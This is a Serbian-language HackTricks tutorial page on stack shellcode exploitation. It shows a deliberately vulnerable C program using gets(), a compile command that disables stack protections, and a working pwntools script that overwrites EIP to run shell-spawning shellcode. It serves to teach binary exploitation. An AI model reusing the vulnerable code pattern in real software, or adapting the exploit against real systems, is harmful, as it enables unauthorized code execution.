Stack Shellcode

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Stack shellcode je tehnika korišćena u binarnom eksploatisanju gde napadač piše shellcode u stack ranjivog programa, a zatim modifikuje Instruction Pointer (IP) ili Extended Instruction Pointer (EIP) da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda korišćena za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljnom sistemu. Evo detaljnog objašnjenja procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa pwntools.

C Primer: Ranjiv program

Započnimo sa jednostavnim primerom ranjivog C programa:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja gets() funkcije.

Kompilacija

Da biste kompajlirali ovaj program isključujući različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Onemogućava zaštitu steka.

  • -z execstack: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku.

  • -no-pie: Onemogućava izvršavanje poziciono nezavisnog izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod.

  • -m32: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije.

Python Eksploatacija korišćenjem Pwntools

Evo kako biste mogli napisati eksploataciju u Pythonu koristeći pwntools za izvođenje napada ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Ovaj skript konstruiše payload koji se sastoji od NOP slide-a, shellcode-a, i zatim prepisuje EIP sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.

NOP slide (asm('nop')) se koristi kako bi se povećala šansa da izvršavanje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument p32() na početnu adresu vašeg bafera plus offset kako biste dospele do NOP slide-a.

Zaštite

  • ASLR treba biti onemogućen kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je funkcija učitana.

  • Stack Canaries takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.

  • NX zaštita stack-a bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.

Ostali Primeri & Reference

Last updated